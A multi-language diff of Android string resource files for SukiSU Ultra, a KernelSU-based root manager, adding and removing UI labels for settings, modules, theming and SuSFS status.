<string name="settings_custom_background">カスタム背景を設定</string>
<string name="settings_custom_background_summary">カスタム背景を設定します</string>
<string name="settings_card_alpha">ナビゲーションバーの透過</string>
<string name="settings_restore_default">デフォルトに復元</string>
<string name="home_android_version">Android のバージョン</string>
<string name="home_device_model">デバイスモデル</string>
<string name="su_not_allowed">%s にスーパーユーザー権限を付与することはできません</string>
<string name="settings_disable_su">su の互換性を無効化する</string>
<string name="settings_disable_su_summary">su コマンドを使用してアプリが root 権限を取得する動作を一時的に無効化します (既存の root プロセスは影響を受けません)。</string>
<string name="using_mksu_manager">SukiSU Beta Manager を使用しています。</string>
<string name="module_install_multiple_confirm">選択した %d 個のモジュールをインストールしてもよろしいですか?</string>
<string name="module_install_multiple_confirm_with_names">%1$d 個のモジュールをインストールしてもよろしいですか?\n\n%2$s</string>
<string name="more_settings">その他の設定</string>
<string name="selinux">SELinux</string>
<string name="selinux_enabled">有効</string>
<string name="selinux_disabled">無効</string>
<string name="simple_mode">シンプルモード</string>
<string name="simple_mode_summary">ON にすると不要なカードを非表示にします</string>
<string name="hide_kernel_kernelsu_version">カーネルのバージョンを非表示にする</string>
<string name="hide_kernel_kernelsu_version_summary">カーネルのバージョンを非表示にします</string>
<string name="hide_other_info">その他の情報を非表示にする</string>
<string name="hide_other_info_summary">ホームページ上のスーパーユーザー、モジュール、KPM モジュールの数に関する情報を非表示にします</string>
<string name="hide_susfs_status">SuSFS ステータスを非表示にする</string>
<string name="hide_susfs_status_summary">ホームページ上の SuSFS ステータス情報を非表示にします</string>
<string name="theme_mode">テーマモード</string>
<string name="theme_follow_system">システムに従う</string>
<string name="theme_light">ライトカラー</string>
<string name="theme_dark">ダークカラー</string>
<string name="manual_hook">手動でフック</string>
<string name="dynamic_color_title">ダイナミックカラー</string>
<string name="dynamic_color_summary">システムテーマのダイナミックカラーを使用します</string>
<string name="choose_theme_color">テーマカラーを選択</string>
<string name="color_default">ホワイト</string>
<string name="color_blue">ブルー</string>
<string name="color_green">グリーン</string>
<string name="color_purple">パープル</string>
<string name="color_orange">オレンジ</string>
<string name="color_pink">ピンク</string>
<string name="color_gray">グレー</string>
<string name="color_ivory">アイボリー</string>
<string name="flash_option">ブラシの設定</string>
<string name="flash_option_tip">フラッシュするファイルを選択</string>
<string name="horizon_kernel">AnyKernel3 をフラッシュ</string>
<string name="horizon_kernel_summary">AnyKernel3 をフラッシュします</string>
<string name="root_required">root 権限が必要です</string>
<string name="copy_failed">ファイルのコピーに失敗しました</string>
<string name="reboot_complete_title">スクラブが完了しました</string>
<string name="reboot_complete_msg">すぐに再起動しますか?</string>
<string name="yes">はい</string>
<string name="no">いいえ</string>
<string name="failed_reboot">再起動に失敗しました</string>
<string name="batch_authorization">bulk ライセンス</string>
<string name="batch_cancel_authorization">認証を一括でキャンセル</string>
<string name="backup">バックアップ</string>
<string name="color_yellow">イエロー</string>
<string name="kpm">KPM モジュール</string>
<string name="kpm_title">カーネルモジュール</string>
<string name="kpm_empty">カーネルモジュールは現在インストールされていません</string>
<string name="kpm_version">リリース</string>
<string name="kpm_author">作者</string>
<string name="kpm_uninstall">アンインストール</string>
<string name="kpm_uninstall_success">アンインストールに失敗しました</string>
<string name="kpm_uninstall_failed">アンインストールに失敗しました</string>
<string name="kpm_install">インストールを選択</string>
<string name="kpm_install_success">KPM モジュールの読み込みに成功しました</string>
<string name="kpm_install_failed">KPM モジュールの読み込みに失敗しました</string>
<string name="kpm_args">KPM パラメーター</string>
<string name="kpm_control">完全</string>
<string name="home_kpm_version">KPM のバージョン</string>
<string name="close_notice">閉じる</string>
<string name="kernel_module_notice">以下のカーネルモジュール関数は KernelPatch によって開発され、SukiSU Ultra のカーネルモジュール関数を含むように変更されました</string>
<string name="home_ContributionCard_kernelsu">SukiSU Ultra の今後にご期待ください</string>
<string name="kpm_control_success">成功</string>
<string name="kpm_control_failed">失敗</string>
<string name="home_click_to_ContributionCard_kernelsu">SukiSU Ultra は将来的に KSU から比較的に独立したブランチになりますが、公式の KernelSU や MKSU などの貢献に繋がるでしょう!</string>
<string name="not_supported">非対応</string>
<string name="supported">対応</string>
<string name="home_kpm_module">KPM モジュール数: %d </string>
<string name="kpm_invalid_file">無効な KPM ファイル</string>
<string name="kernel_patched">カーネルはパッチされていません</string>
<string name="kernel_not_enabled">カーネルは未設定です</string>
<string name="custom_settings">カスタム設定</string>
<string name="kpm_install_mode">インストール</string>
<string name="kpm_install_mode_load">読み込む</string>
<string name="kpm_install_mode_embed">埋め込む</string>
<string name="kpm_install_mode_description">モジュール:%1\$s のインストールモードを選択してください \n\n読み込む: モジュールを一時的に読み込みます\n埋め込む: システムに恒久的にインストールします</string>
<string name="log_failed_to_check_module_file">モジュールファイルの存在を確認できませんでした</string>
<string name="snackbar_failed_to_check_module_file">モジュールファイルが存在するか確認できません</string>
<string name="confirm_uninstall_title">アンインストールを確認</string>
<string name="confirm_uninstall_confirm">アンインストール中</string>
<string name="confirm_uninstall_dismiss">中止</string>
<string name="theme_color">テーマカラー</string>
<string name="invalid_file_type">ファイルの種類が正しくありません。.kpm ファイルを選択してください。</string>
<string name="confirm_uninstall_title_with_filename">アンインストール</string>
<string name="confirm_uninstall_content">次の KPM モジュールがアンインストールされます:\n%s</string>
</resources> </resources>

View File

@@ -1,6 +1,5 @@
<?xml version="1.0" encoding="utf-8"?> <?xml version="1.0" encoding="utf-8"?>
<resources> <resources>
<string name="app_name" translatable="false">KernelSU</string>
<string name="home">Strona główna</string> <string name="home">Strona główna</string>
<string name="home_not_installed">Nie zainstalowano</string> <string name="home_not_installed">Nie zainstalowano</string>
<string name="home_click_to_install">Kliknij, aby zainstalować</string> <string name="home_click_to_install">Kliknij, aby zainstalować</string>
@@ -51,7 +50,6 @@
<string name="home_click_to_learn_kernelsu">Dowiedz się jak zainstalować KernelSU i jak korzystać z modułów</string> <string name="home_click_to_learn_kernelsu">Dowiedz się jak zainstalować KernelSU i jak korzystać z modułów</string>
<string name="home_support_title">Wesprzyj nas</string> <string name="home_support_title">Wesprzyj nas</string>
<string name="home_support_content">KernelSU jest i zawsze będzie darmowy oraz otwarty. Niemniej jednak możesz nam pokazać, że Ci zależy, wysyłając darowiznę.</string> <string name="home_support_content">KernelSU jest i zawsze będzie darmowy oraz otwarty. Niemniej jednak możesz nam pokazać, że Ci zależy, wysyłając darowiznę.</string>
<string name="profile" translatable="false">Profil aplikacji</string>
<string name="profile_default">Domyślny</string> <string name="profile_default">Domyślny</string>
<string name="profile_template">Szablon</string> <string name="profile_template">Szablon</string>
<string name="profile_custom">Własny</string> <string name="profile_custom">Własny</string>

View File

@@ -50,7 +50,6 @@
<string name="home_click_to_learn_kernelsu">Saiba como instalar o KernelSU e usar os módulos</string> <string name="home_click_to_learn_kernelsu">Saiba como instalar o KernelSU e usar os módulos</string>
<string name="home_support_title">Apoie-nos</string> <string name="home_support_title">Apoie-nos</string>
<string name="home_support_content">KernelSU sempre foi e sempre será, gratuito e de código aberto. No entanto, você pode nos ajudar enviando uma pequena doação.</string> <string name="home_support_content">KernelSU sempre foi e sempre será, gratuito e de código aberto. No entanto, você pode nos ajudar enviando uma pequena doação.</string>
<string name="profile" translatable="false">Perfil do Aplicativo</string>
<string name="profile_default">Padrão</string> <string name="profile_default">Padrão</string>
<string name="profile_template">Modelo</string> <string name="profile_template">Modelo</string>
<string name="profile_custom">Personalizado</string> <string name="profile_custom">Personalizado</string>

View File

@@ -52,7 +52,6 @@
<string name="home_click_to_learn_kernelsu">Узнайте, как установить KernelSU и использовать модули</string> <string name="home_click_to_learn_kernelsu">Узнайте, как установить KernelSU и использовать модули</string>
<string name="home_support_title">Поддержите нас</string> <string name="home_support_title">Поддержите нас</string>
<string name="home_support_content">KernelSU был и всегда будет бесплатным и открытым проектом. Однако Вы всегда можете поддержать нас, отправив небольшое пожертвование.</string> <string name="home_support_content">KernelSU был и всегда будет бесплатным и открытым проектом. Однако Вы всегда можете поддержать нас, отправив небольшое пожертвование.</string>
<string name="profile" translatable="false">App Profile</string>
<!--Don't translate this string!--> <!--Don't translate this string!-->
<string name="profile_default">По умолчанию</string> <string name="profile_default">По умолчанию</string>
<string name="profile_template">Шаблон</string> <string name="profile_template">Шаблон</string>

View File

@@ -1,6 +1,5 @@
<?xml version="1.0" encoding="utf-8"?> <?xml version="1.0" encoding="utf-8"?>
<resources> <resources>
<string name="app_name" translatable="false">KernelSU</string>
<string name="home">Ana Sayfa</string> <string name="home">Ana Sayfa</string>
<string name="home_not_installed">Kurulmadı</string> <string name="home_not_installed">Kurulmadı</string>
<string name="home_click_to_install">Kurmak için tıklayın</string> <string name="home_click_to_install">Kurmak için tıklayın</string>
@@ -51,7 +50,6 @@
<string name="home_click_to_learn_kernelsu">KernelSU\'nun nasıl kurulacağını ve modüllerin nasıl kullanılacağını öğrenin</string> <string name="home_click_to_learn_kernelsu">KernelSU\'nun nasıl kurulacağını ve modüllerin nasıl kullanılacağını öğrenin</string>
<string name="home_support_title">Bizi destekleyin</string> <string name="home_support_title">Bizi destekleyin</string>
<string name="home_support_content">KernelSU ücretsiz ve açık kaynaklı bir yazılımdır ve her zaman öyle kalacaktır. Ancak bağış yaparak bize destek olduğunuzu gösterebilirsiniz.</string> <string name="home_support_content">KernelSU ücretsiz ve açık kaynaklı bir yazılımdır ve her zaman öyle kalacaktır. Ancak bağış yaparak bize destek olduğunuzu gösterebilirsiniz.</string>
<string name="profile" translatable="false">Uygulama profili</string>
<string name="profile_default">Varsayılan</string> <string name="profile_default">Varsayılan</string>
<string name="profile_template">Şablon</string> <string name="profile_template">Şablon</string>
<string name="profile_custom">Özel</string> <string name="profile_custom">Özel</string>

View File

@@ -50,7 +50,6 @@
<string name="home_click_to_learn_kernelsu">Дізнайтеся, як інсталювати KernelSU і використовувати модулі</string> <string name="home_click_to_learn_kernelsu">Дізнайтеся, як інсталювати KernelSU і використовувати модулі</string>
<string name="home_support_title">Підтримати нас</string> <string name="home_support_title">Підтримати нас</string>
<string name="home_support_content">KernelSU є, і завжди буде безкоштовним та з відкритим кодом. Однак, якщо вам не байдуже, можете зробити невеличке пожертвування.</string> <string name="home_support_content">KernelSU є, і завжди буде безкоштовним та з відкритим кодом. Однак, якщо вам не байдуже, можете зробити невеличке пожертвування.</string>
<string name="profile">Профіль додатка</string>
<string name="profile_default">Типовий</string> <string name="profile_default">Типовий</string>
<string name="profile_template">Шаблон</string> <string name="profile_template">Шаблон</string>
<string name="profile_custom">Власний</string> <string name="profile_custom">Власний</string>

View File

@@ -1,2 +1,263 @@
<?xml version="1.0" encoding="utf-8"?> <?xml version="1.0" encoding="utf-8"?>
<resources></resources> <resources>
<string name="home">Home</string>
<string name="home_not_installed">Chưa cài đặt</string>
<string name="home_click_to_install">Nhấn vào đây để cài đặt</string>
<string name="home_working">Đang hoạt động</string>
<string name="home_working_version">Phiên bản: %d</string>
<string name="home_superuser_count">Superusers: %d</string>
<string name="home_module_count">Mô-đun: %d</string>
<string name="home_unsupported">Không được hỗ trợ</string>
<string name="home_unsupported_reason">Không phát hiện được trình điều khiển KernelSU trên kernel của bạn.</string>
<string name="home_kernel">Phiên bản Kernel</string>
<string name="home_susfs">SuSFS: %s</string>
<string name="home_susfs_version">Phiên bản SuSFS</string>
<string name="home_susfs_sus_su">SuS SU</string>
<string name="home_manager_version">Phiên bản quản lý</string>
<string name="home_fingerprint">Dấu vân tay</string>
<string name="home_selinux_status">Trạng thái SELinux</string>
<string name="selinux_status_disabled">Disabled</string>
<string name="selinux_status_enforcing">Enforcing</string>
<string name="selinux_status_permissive">Permissive</string>
<string name="selinux_status_unknown">Không rõ</string>
<string name="superuser">Superuser</string>
<string name="module_failed_to_enable">Không thể bật mô-đun: %s</string>
<string name="module_failed_to_disable">Không thể vô hiệu hóa mô-đun: %s</string>
<string name="module_empty">Không có mô-đun nào được cài đặt</string>
<string name="module">Mô-đun</string>
<string name="module_sort_action_first">Sắp xếp (theo hành động)</string>
<string name="module_sort_enabled_first">Sắp xếp (theo trạng thái)</string>
<string name="uninstall">Gỡ cài đặt</string>
<string name="restore">Khôi phục</string>
<string name="module_install">Cài đặt</string>
<string name="install">Cài đặt</string>
<string name="reboot">Khởi động lại</string>
<string name="settings">Cài đặt</string>
<string name="reboot_userspace">Khởi động lại không gian người dùng</string>
<string name="reboot_recovery">Khởi động lại vào Recovery</string>
<string name="reboot_bootloader">Khởi động lại vào Bootloader</string>
<string name="reboot_download">Khởi động lại vào Download mode</string>
<string name="reboot_edl">Khởi động lại vào EDL</string>
<string name="about">Thông tin thêm</string>
<string name="module_uninstall_confirm">Bạn có chắc chắn muốn gỡ cài đặt mô-đun %s không?</string>
<string name="module_uninstall_success">%s đã gỡ cài đặt</string>
<string name="module_uninstall_failed">Không thể gỡ cài đặt: %s</string>
<string name="module_version">Phiên bản</string>
<string name="module_author">Tác giả</string>
<string name="refresh">Làm mới</string>
<string name="show_system_apps">Hiển thị ứng dụng hệ thống</string>
<string name="hide_system_apps">Ẩn ứng dụng hệ thống</string>
<string name="send_log">Gửi nhật ký</string>
<string name="safe_mode">Chế độ an toàn</string>
<string name="reboot_to_apply">Khởi động lại để có hiệu lực</string>
<string name="module_magisk_conflict">Các mô-đun không khả dụng do xung đột với Magisk!</string>
<string name="home_learn_kernelsu">Tìm hiểu KernelSU</string>
<string name="home_learn_kernelsu_url">https://kernelsu.org/guide/what-is-kernelsu.html</string>
<string name="home_click_to_learn_kernelsu">Tìm hiểu cách cài đặt KernelSU và sử dụng các mô-đun</string>
<string name="home_support_title">Hỗ trợ chúng tôi</string>
<string name="home_support_content">KernelSU sẽ luôn là miễn phí và mã nguồn mở. Tuy nhiên, bạn có thể cho chúng tôi thấy rằng bạn quan tâm bằng cách quyên góp.</string>
<string name="about_source_code"><![CDATA[View source code at %1$s<br/>Tham gia kênh %2$s của chúng tôi]]></string>
<string name="profile_default">Mặc định</string>
<string name="profile_template">Bản mẫu</string>
<string name="profile_custom">Tùy chỉnh</string>
<string name="profile_name">Tên hồ sơ</string>
<string name="profile_namespace">Tên không gian gắn kết</string>
<string name="profile_namespace_inherited">Được thừa hưởng</string>
<string name="profile_namespace_global">Toàn cầu</string>
<string name="profile_namespace_individual">Cá nhân</string>
<string name="profile_groups">Nhóm</string>
<string name="profile_capabilities">Khả năng</string>
<string name="profile_selinux_context">Bối cảnh SELinux</string>
<string name="profile_umount_modules">Bỏ gắn kết mô-đun</string>
<string name="failed_to_update_app_profile">Không cập nhật được Hồ sơ ứng dụng cho %s</string>
<string name="require_kernel_version" formatted="false">Phiên bản KernelSU hiện tại %d quá thấp để trình quản lý hoạt động bình thường. Vui lòng nâng cấp lên phiên bản %d hoặc cao hơn!</string>
<string name="settings_umount_modules_default">Bỏ gắn kết các mô-đun theo mặc định</string>
<string name="settings_umount_modules_default_summary">Giá trị mặc định cho \"Bỏ gắn kết các mô-đun\" trong Hồ sơ ứng dụng. Nếu được bật, nó sẽ xóa tất cả các sửa đổi của mô-đun đối với hệ thống đối và các ứng dụng không có hồ sơ được đặt.</string>
<string name="settings_susfs_toggle">Ẩn móc kprobe</string>
<string name="settings_susfs_toggle_summary">Vô hiệu hóa các móc kprobe do KSU tạo ra và kích hoạt các móc không phải kprobe tích hợp sẵn, triển khai sẽ được áp dụng cho hạt nhân không phải GKI, không hỗ trợ krp</string>
<string name="profile_umount_modules_summary">Bật tùy chọn này sẽ cho phép KernelSU khôi phục mọi tệp đã được các mô-đun sửa đổi cho ứng dụng này.</string>
<string name="profile_selinux_domain">Domain</string>
<string name="profile_selinux_rules">Quy tắc</string>
<string name="module_update">Cập nhật</string>
<string name="module_downloading">Đang tải xuống mô-đun: %s</string>
<string name="module_start_downloading">Bắt đầu tải xuống: %s</string>
<string name="new_version_available">Phiên bản mới %s đã có sẵn, hãy nhấp để cập nhật.</string>
<string name="launch_app">Khởi chạy</string>
<string name="force_stop_app" formatted="false">Buộc dừng</string>
<string name="restart_app">Khởi động lại</string>
<string name="failed_to_update_sepolicy">Không cập nhật được quy tắc SELinux cho %s</string>
<string name="module_changelog">Nhật ký thay đổi</string>
<string name="settings_profile_template">Mẫu hồ sơ ứng dụng</string>
<string name="settings_profile_template_summary">Quản lý mẫu cục bộ và trực tuyến của Hồ sơ ứng dụng</string>
<string name="app_profile_template_create">Tạo mẫu</string>
<string name="app_profile_template_edit">Chỉnh sửa mẫu</string>
<string name="app_profile_template_id">ID</string>
<string name="app_profile_template_id_invalid">ID mẫu không hợp lệ</string>
<string name="app_profile_template_name">Tên</string>
<string name="app_profile_template_description">Miêu tả</string>
<string name="app_profile_template_save">Lưu</string>
<string name="app_profile_template_delete">Xoá</string>
<string name="app_profile_template_view">Xem mẫu</string>
<string name="app_profile_template_readonly">Chỉ đọc</string>
<string name="app_profile_template_id_exist">ID mẫu đã tồn tại!</string>
<string name="app_profile_import_export">Nhập/Xuất</string>
<string name="app_profile_import_from_clipboard">Nhập từ bộ nhớ tạm clipboard</string>
<string name="app_profile_export_to_clipboard">Xuất vào bộ nhớ tạm clipboard</string>
<string name="app_profile_template_export_empty">Cannot find local template to export!</string>
<string name="app_profile_template_import_success">Đã nhập thành công</string>
<string name="app_profile_template_sync">Đồng bộ mẫu trực tuyến</string>
<string name="app_profile_template_save_failed">Không lưu được mẫu</string>
<string name="app_profile_template_import_empty">Bộ nhớ tạm đang trống!</string>
<string name="module_changelog_failed">Lấy nhật ký thay đổi không thành công: %s</string>
<string name="settings_check_update">Kiểm tra cập nhật</string>
<string name="settings_check_update_summary">Tự động kiểm tra cập nhật khi mở ứng dụng</string>
<string name="grant_root_failed">Không cấp được quyền root!</string>
<string name="action">Khởi chạy</string>
<string name="open">Mở</string>
<string name="enable_web_debugging">Bật gỡ lỗi WebView</string>
<string name="enable_web_debugging_summary">Có thể sử dụng để gỡ lỗi WebUI. Vui lòng chỉ bật khi cần thiết.</string>
<string name="direct_install">Cài đặt trực tiếp (Khuyến nghị)</string>
<string name="select_file">Chọn một tập tin</string>
<string name="install_inactive_slot">Cài đặt vào khe không hoạt động (Sau OTA)</string>
<string name="install_inactive_slot_warning">Thiết bị của bạn sẽ **BUỘC** phải khởi động vào khe cắm hiện tại không hoạt động sau khi khởi động lại!\nChỉ sử dụng tùy chọn này sau khi OTA hoàn tất.\nTiếp tục?</string>
<string name="install_next">Kế tiếp</string>
<string name="select_file_tip">Phân vùng %1$s được khuyến nghị</string>
<string name="select_kmi">Chọn KMI</string>
<string name="settings_uninstall">Uninstall</string>
<string name="settings_uninstall_temporary">Gỡ cài đặt tạm thời</string>
<string name="settings_uninstall_permanent">Gỡ cài đặt vĩnh viễn</string>
<string name="settings_restore_stock_image">Khôi phục img ban đầu</string>
<string name="settings_uninstall_temporary_message">Gỡ cài đặt tạm thời KernelSU, khôi phục lại trạng thái ban đầu sau lần khởi động lại tiếp theo.</string>
<string name="settings_uninstall_permanent_message">Gỡ cài đặt KernelSU (Root và tất cả các mô-đun) hoàn toàn và vĩnh viễn.</string>
<string name="settings_restore_stock_image_message">Khôi phục ảnh gốc (nếu có bản sao lưu), thường được sử dụng trước OTA; nếu bạn cần gỡ cài đặt KernelSU, vui lòng sử dụng \"Gỡ cài đặt vĩnh viễn\".</string>
<string name="flashing">Đang flash...</string>
<string name="flash_success">Flash thành công</string>
<string name="flash_failed">Lỗi flash</string>
<string name="selected_lkm">LKM đã chọn: %s</string>
<string name="save_log">Lưu nhật ký</string>
<string name="log_saved">Nhật ký đã lưu</string>
<string name="status_supported">Được hỗ trợ</string>
<string name="status_not_supported">Không được hỗ trợ</string>
<string name="status_unknown">Không rõ</string>
<string name="sus_su_mode">Chế độ SuS: SU</string>
<!-- Module related -->
<string name="module_install_confirm">Xác nhận cài đặt mô-đun %1$s ?</string>
<string name="unknown_module">Mô-đun không xác định</string>
<!-- Restore related -->
<string name="restore_confirm_title">Xác nhận khôi phục mô-đun</string>
<string name="restore_confirm_message">Hành động này sẽ ghi đè lên tất cả các mô-đun hiện có. Tiếp tục?</string>
<string name="confirm">Xác nhận</string>
<string name="cancel">Hủy bỏ</string>
<!-- Backup related -->
<string name="backup_success">Sao lưu thành công (tar.gz)</string>
<string name="backup_failed">Sao lưu không thành công: %1$s</string>
<string name="backup_modules">Sao lưu mô-đun</string>
<string name="restore_modules">Khôi phục các mô-đun</string>
<!-- Restore related messages -->
<string name="restore_success">Các mô-đun đã được khôi phục thành công, cần khởi động lại</string>
<string name="restore_failed">Khôi phục không thành công: %1$s</string>
<string name="restart_now">Khởi động lại ngay</string>
<string name="unknown_error">Lỗi không xác định</string>
<!-- Command related -->
<string name="command_execution_failed">Thực hiện lệnh không thành công: %1$s</string>
<!-- Allowlist related -->
<string name="allowlist_backup_success">Sao lưu danh sách cho phép thành công</string>
<string name="allowlist_backup_failed">Sao lưu danh sách cho phép không thành công: %1$s</string>
<string name="allowlist_restore_confirm_title">Xác nhận khôi phục danh sách cho phép</string>
<string name="allowlist_restore_confirm_message">Hành động này sẽ ghi đè lên danh sách cho phép hiện tại. Tiếp tục?</string>
<string name="allowlist_restore_success">Đã khôi phục danh sách cho phép thành công</string>
<string name="allowlist_restore_failed">Khôi phục danh sách cho phép không thành công: %1$s</string>
<string name="backup_allowlist">Sao lưu danh sách cho phép</string>
<string name="restore_allowlist">Khôi phục danh sách cho phép</string>
<string name="settings_custom_background">Cài đặt nền tùy chỉnh</string>
<string name="settings_custom_background_summary">Cài đặt tùy chỉnh nền</string>
<string name="settings_card_alpha">Thẻ alpha</string>
<string name="settings_restore_default">Khôi phục mặc định</string>
<string name="home_android_version">Phiên bản Android</string>
<string name="home_device_model">Model thiết bị</string>
<string name="su_not_allowed">Không được phép cấp siêu người dùng cho %s</string>
<string name="settings_disable_su">Vô hiệu hóa khả năng tương thích su</string>
<string name="settings_disable_su_summary">Tạm thời vô hiệu hóa mọi ứng dụng khỏi quyền root thông qua lệnh su (các tiến trình root hiện có sẽ không bị ảnh hưởng).</string>
<string name="using_mksu_manager">Bạn đang sử dụng trình quản lý SukiSU thử nghiệm</string>
<string name="module_install_multiple_confirm">Bạn có chắc chắn muốn cài đặt các mô-đun %d đã chọn không?</string>
<string name="module_install_multiple_confirm_with_names">Bạn có chắc chắn muốn cài đặt các mô-đun %1$d sau không? \n\n%2$s</string>
<string name="more_settings">Nhiều thiết lập hơn</string>
<string name="selinux">SELinux</string>
<string name="selinux_enabled">Đã bật</string>
<string name="selinux_disabled">Đã tắt</string>
<string name="simple_mode">Chế độ đơn giản</string>
<string name="simple_mode_summary">Ẩn các thẻ không cần thiết khi bật</string>
<string name="hide_kernel_kernelsu_version">Ẩn phiên bản kernel</string>
<string name="hide_kernel_kernelsu_version_summary">Ẩn phiên bản kernel hiện tại</string>
<string name="hide_other_info">Ẩn thông tin thêm</string>
<string name="hide_other_info_summary">Ẩn thông tin về số lượng app đã được cấp root, mô-đun và mô-đun KPM trên trang chủ</string>
<string name="hide_susfs_status">Ẩn trạng thái SuSFS</string>
<string name="hide_susfs_status_summary">Ẩn thông tin trạng thái SuSFS trên trang chủ</string>
<string name="theme_mode">Chế độ chủ đề</string>
<string name="theme_follow_system">Theo hệ thống</string>
<string name="theme_light">Sáng</string>
<string name="theme_dark">Tối</string>
<string name="manual_hook">Móc thủ công</string>
<string name="dynamic_color_title">Màu sắc động</string>
<string name="dynamic_color_summary">Màu sắc động sử dụng chủ đề hệ thống</string>
<string name="choose_theme_color">Chọn màu chủ đề</string>
<string name="color_default">Trắng</string>
<string name="color_blue">Xanh dương</string>
<string name="color_green">Xanh lá</string>
<string name="color_purple">Tím</string>
<string name="color_orange">Cam</string>
<string name="color_pink">Hồng</string>
<string name="color_gray">Xám</string>
<string name="color_ivory">Ngà voi</string>
<string name="flash_option">Tùy chọn cọ</string>
<string name="flash_option_tip">Chọn tập tin cần flash</string>
<string name="horizon_kernel">File Anykernel3</string>
<string name="root_required">Yêu cầu quyền root</string>
<string name="copy_failed">Sao chép tập tin không thành công</string>
<string name="reboot_complete_title">Hoàn tất</string>
<string name="reboot_complete_msg">khởi động lại ngay lập tức?</string>
<string name="yes"></string>
<string name="no">Không</string>
<string name="failed_reboot">Khởi động lại không thành công</string>
<string name="batch_authorization">Giấy phép số lượng lớn</string>
<string name="batch_cancel_authorization">Hủy ủy quyền hàng loạt</string>
<string name="backup">Sao lưu</string>
<string name="color_yellow">Vàng</string>
<string name="kpm">Mô-đun kpm</string>
<string name="kpm_title">Mô-đun KPM</string>
<string name="kpm_empty">Không có mô-đun nào được cài đặt.</string>
<string name="kpm_version">Phát hành</string>
<string name="kpm_author">Tác giả</string>
<string name="kpm_uninstall">Gỡ cài đặt</string>
<string name="kpm_uninstall_success">Đã gỡ cài đặt thành công</string>
<string name="kpm_uninstall_failed">Không thể gỡ cài đặt</string>
<string name="kpm_install">Cài đặt</string>
<string name="kpm_install_success">Tải module kpm thành công</string>
<string name="kpm_install_failed">Tải module kpm không thành công</string>
<string name="kpm_args">thông số kpm</string>
<string name="kpm_control">Tùy chỉnh</string>
<string name="home_kpm_version">Phiên bản KPM</string>
<string name="close_notice">Đóng</string>
<string name="kernel_module_notice">Các chức năng mô-đun kernel sau đây được KernelPatch phát triển và sửa đổi để bao gồm các chức năng mô-đun hạt nhân của SukiSU Ultra</string>
<string name="home_ContributionCard_kernelsu">SukiSU Ultra mong đợi:</string>
<string name="kpm_control_success">Thành công</string>
<string name="kpm_control_failed">Thất bại</string>
<string name="home_click_to_ContributionCard_kernelsu">SukiSU Ultra sẽ là một nhánh tương đối độc lập của KSU trong tương lai, nhưng xin cảm ơn KernelSU và MKSU chính thức vì những đóng góp của họ!</string>
<string name="not_supported">Không được hỗ trợ</string>
<string name="supported">Được hỗ trợ</string>
<string name="home_kpm_module">Mô-đun KPM%d </string>
<string name="kpm_invalid_file">Tệp KPM không hợp lệ</string>
<string name="kernel_patched">chưa được vá</string>
<string name="kernel_not_enabled">chưa được vá</string>
<string name="custom_settings">Cài đặt tùy chỉnh</string>
<string name="kpm_install_mode">Cài đặt</string>
<string name="kpm_install_mode_load">Tải</string>
<string name="kpm_install_mode_embed">Nhúng</string>
<string name="kpm_install_mode_description">Vui lòng%1\$s chọn chế độ cài đặt mô-đun \n\nTải: Tải tạm thời mô-đun \nNhúng: Cài đặt vĩnh viễn vào hệ thống</string>
<string name="log_failed_to_check_module_file">Không kiểm tra được sự tồn tại của tệp mô-đun</string>
<string name="snackbar_failed_to_check_module_file">Không thể kiểm tra xem tệp mô-đun có tồn tại không</string>
<string name="confirm_uninstall_title">Xác nhận gỡ cài đặt</string>
<string name="confirm_uninstall_confirm">loại bỏ</string>
<string name="confirm_uninstall_dismiss">bãi bỏ</string>
<string name="theme_color">Màu chủ đề</string>
</resources>

View File

@@ -172,7 +172,6 @@
<string name="restore_allowlist">还原应用列表</string> <string name="restore_allowlist">还原应用列表</string>
<string name="settings_custom_background">自定义背景</string> <string name="settings_custom_background">自定义背景</string>
<string name="settings_custom_background_summary">选择一张图片作为应用背景</string> <string name="settings_custom_background_summary">选择一张图片作为应用背景</string>
<string name="settings_card_manage">卡片管理</string>
<string name="settings_card_alpha">卡片透明度</string> <string name="settings_card_alpha">卡片透明度</string>
<string name="settings_restore_default">恢复默认</string> <string name="settings_restore_default">恢复默认</string>
<string name="home_android_version">Android 版本</string> <string name="home_android_version">Android 版本</string>
@@ -180,7 +179,7 @@
<string name="su_not_allowed">不允许授予 %s 超级用户权限</string> <string name="su_not_allowed">不允许授予 %s 超级用户权限</string>
<string name="settings_disable_su">禁用 su 兼容性</string> <string name="settings_disable_su">禁用 su 兼容性</string>
<string name="settings_disable_su_summary">临时禁止任何应用程序通过 su 命令获取 Root 权限(现有的 Root 进程不受影响)</string> <string name="settings_disable_su_summary">临时禁止任何应用程序通过 su 命令获取 Root 权限(现有的 Root 进程不受影响)</string>
<string name="using_mksu_manager">你正在使用的是 MKSU 第三方管理器</string> <string name="using_mksu_manager">你正在使用的是 SukiSU Beta 版管理器</string>
<string name="module_install_multiple_confirm">确定要安装选择的 %d 个模块吗?</string> <string name="module_install_multiple_confirm">确定要安装选择的 %d 个模块吗?</string>
<string name="module_install_multiple_confirm_with_names">确定要安装以下 %1$d 个模块吗?\n\n%2$s</string> <string name="module_install_multiple_confirm_with_names">确定要安装以下 %1$d 个模块吗?\n\n%2$s</string>
<string name="more_settings">更多设置</string> <string name="more_settings">更多设置</string>
@@ -191,6 +190,10 @@
<string name="simple_mode_summary">开启后将隐藏不必要的卡片</string> <string name="simple_mode_summary">开启后将隐藏不必要的卡片</string>
<string name="hide_kernel_kernelsu_version">隐藏内核版本号</string> <string name="hide_kernel_kernelsu_version">隐藏内核版本号</string>
<string name="hide_kernel_kernelsu_version_summary">隐藏内核部分的 KernelSU 版本号</string> <string name="hide_kernel_kernelsu_version_summary">隐藏内核部分的 KernelSU 版本号</string>
<string name="hide_other_info">强迫症开关</string>
<string name="hide_other_info_summary">隐藏主页上的超级用户数、模块数和 KPM 模块数信息</string>
<string name="hide_susfs_status">隐藏 SuSFS 状态信息</string>
<string name="hide_susfs_status_summary">隐藏主页上的 SuSFS 状态信息</string>
<string name="theme_mode">主题模式</string> <string name="theme_mode">主题模式</string>
<string name="theme_follow_system">跟随系统</string> <string name="theme_follow_system">跟随系统</string>
<string name="theme_light">浅色</string> <string name="theme_light">浅色</string>
@@ -210,6 +213,7 @@
<string name="flash_option">刷入选项</string> <string name="flash_option">刷入选项</string>
<string name="flash_option_tip">选择要刷入的文件</string> <string name="flash_option_tip">选择要刷入的文件</string>
<string name="horizon_kernel">刷写 AnyKernel3 压缩包</string> <string name="horizon_kernel">刷写 AnyKernel3 压缩包</string>
<string name="horizon_kernel_summary">刷入 Anykernel3 内核</string>
